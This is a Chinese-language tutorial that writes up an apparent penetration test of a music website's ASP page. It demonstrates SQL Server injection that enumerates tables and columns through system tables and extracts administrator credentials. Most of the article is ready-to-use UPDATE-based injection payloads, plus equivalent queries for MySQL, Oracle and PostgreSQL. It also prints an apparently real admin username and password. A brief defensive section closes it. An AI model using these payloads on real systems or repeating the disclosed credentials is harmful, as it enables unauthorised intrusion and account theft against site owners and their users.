首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫

SQL 注入進階:讓數據庫「自我招供」結構——從盲猜到系統表自動化枚舉

     編輯:MySQL 資料庫相關知識

前言:當常規字典猜解失效,如何突破「未知結構」死局?

面對閉源、非公開下載的應用,表名/列名不在常規字典中,盲猜極其低效。本文實戰記錄一次滲透測試,展示如何利用 SQL Server 系統表 sysobjects/syscolumns、元數據函數 OBJECT_ID()/COL_NAME(),配合 UPDATE 回顯技術,實現「數據庫自我招供結構 → 精準提取管理員憑證」的全自動化利用鏈。

第一階段:常規注入確立 foothold

1.1 發現注入點

目標:音樂站 /showspecial.asp?Specialid=1817
單引號觸發報錯:Microsoft OLE DB Provider for SQL Server 錯誤 80040e14 → 確認 SQL Server、無過濾、可注入。

1.2 建立注入平台

  1. 註冊普通用戶 rrrrr,獲取 id=103534
  2. 驗證 user 表存在 id、username、email 列(通過 AND 1<>(SELECT COUNT(col) FROM [user]) 布爾盲注)
  3. 確立 UPDATE [user] SET email=... WHERE id=103534 可回顯數據(將查詢結果寫入自身 email 字段,再前台查看)

第二階段:系統表自動化枚舉——核心技術棧

2.1 核心系統表與關鍵列

系統表關鍵列含義
sysobjectsname對象名(表/視圖/存儲過程等)
xtype類型:U=用戶表,P=存儲過程,V=視圖
id對象 ID(遞增,可用於分頁)
status狀態:用戶表通常 > 0

2.2 元數據函數

  • OBJECT_ID('table_name') → 返回表的對象 ID
  • COL_NAME(object_id, column_id) → 返回指定表的第 N 個列名(column_id 從 1 開始)

2.3 自動化枚舉邏輯(偽代碼)


# 1. 獲取第一張用戶表名
payload = "UPDATE [user] SET email=(SELECT TOP 1 name FROM sysobjects WHERE xtype='U' AND status>0) WHERE id=103534;--"
# → email = 'lmuser'

# 2. 獲取該表 OBJECT_ID
payload = "UPDATE [user] SET email=(SELECT TOP 1 id FROM sysobjects WHERE xtype='U' AND name='lmuser') WHERE id=103534;--"
# → email = '363148339'

# 3. 獲取下一張表名(利用 id 遞增特性)
payload = "UPDATE [user] SET email=(SELECT TOP 1 name FROM sysobjects WHERE xtype='U' AND id>363148339) WHERE id=103534;--"
# → email = 'ad'
# 循環直到無結果 → 獲得所有用戶表名

# 4. 發現敏感表 admin → 枚舉其列名
payload = "UPDATE [user] SET email=(SELECT TOP 1 COL_NAME(OBJECT_ID('admin'), 1) FROM admin) WHERE id=103534;--"
# → email = 'id'
payload = "UPDATE [user] SET email=(SELECT TOP 1 COL_NAME(OBJECT_ID('admin'), 2) FROM admin) WHERE id=103534;--"
# → email = 'username'
payload = "UPDATE [user] SET email=(SELECT TOP 1 COL_NAME(OBJECT_ID('admin'), 3) FROM admin) WHERE id=103534;--"
# → email = 'passWord'

第三階段:精準提取管理員憑證


# 獲取 admin 表第一行 id(假設為 44)
payload = "UPDATE [user] SET email=(SELECT TOP 1 id FROM admin) WHERE id=103534;--"

# 提取用戶名
payload = "UPDATE [user] SET email=(SELECT TOP 1 username FROM admin WHERE id=44) WHERE id=103534;--"
# → email = 'gscdjmp3'

# 提取密碼
payload = "UPDATE [user] SET email=(SELECT TOP 1 passWord FROM admin WHERE id=44) WHERE id=103534;--"
# → email = 'XZDC9212CDJ'

關鍵技術點總結

技術作用適用條件
系統表枚舉無需字典,獲取所有用戶表/列名SQL Server / MySQL (information_schema) / PostgreSQL / Oracle
OBJECT_ID + COL_NAME按序號獲取列名,避免列名猜解SQL Server 專有
UPDATE 回顯將子查詢結果寫入可控字段,繞過無直接回顯限制需可控 UPDATE 注入點、目標字段長度足夠
id 遞增分頁利用 OBJECT_ID 遞增特性實現「下一條」sysobjects.id 遞增分配
TOP 1 限制單行避免子查詢返回多行報錯SQL Server / Access

其他數據庫對應方案

數據庫枚舉表名枚舉列名回顯技巧
MySQLSELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE()SELECT column_name FROM information_schema.columns WHERE table_name='xxx'UPDATE ... SET col=(SELECT ...)、UNION SELECT、錯誤回顯
OracleSELECT table_name FROM user_tablesSELECT column_name FROM user_tab_columns WHERE table_name='XXX'UTL_INADDR.GET_HOST_NAME、XMLTYPE 錯誤回顯
PostgreSQLSELECT tablename FROM pg_tables WHERE schemaname='public'SELECT column_name FROM information_schema.columns WHERE table_name='xxx'CAST((SELECT ...) AS INT) 錯誤回顯

防禦視角:如何斷開這條利用鏈?

  1. 參數化查詢:徹底消除注入可能,上述所有 Payload 均失效。
  2. 最小權限:Web 布號禁用 SELECT 系統表權限(MySQL: `GRANT SELECT ON information_schema.*` 默認可讀,需視圖層隔離;SQL Server: `DENY SELECT ON sys.objects TO web_user`)。
  3. 錯誤隱藏:生產環境不回顯任何數據庫錯誤細節。
  4. 審計觸發器:對系統表訪問、異常 UPDATE 操作設置審計告警。

結語

「讓數據庫自我招供結構」是注入利用從「盲人摸象」進化為「精準手術」的關鍵飛躍。掌握系統表結構、元數據函數、回顯技巧的組合拳,配合自動化腳本,可在分鐘級完成對未知應用的深度滲透。防禦端,參數化查詢仍是銀彈;纵深防禦中,**系統表訪問控制**常被忽視,卻是斷開利用鏈的關鍵一環。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved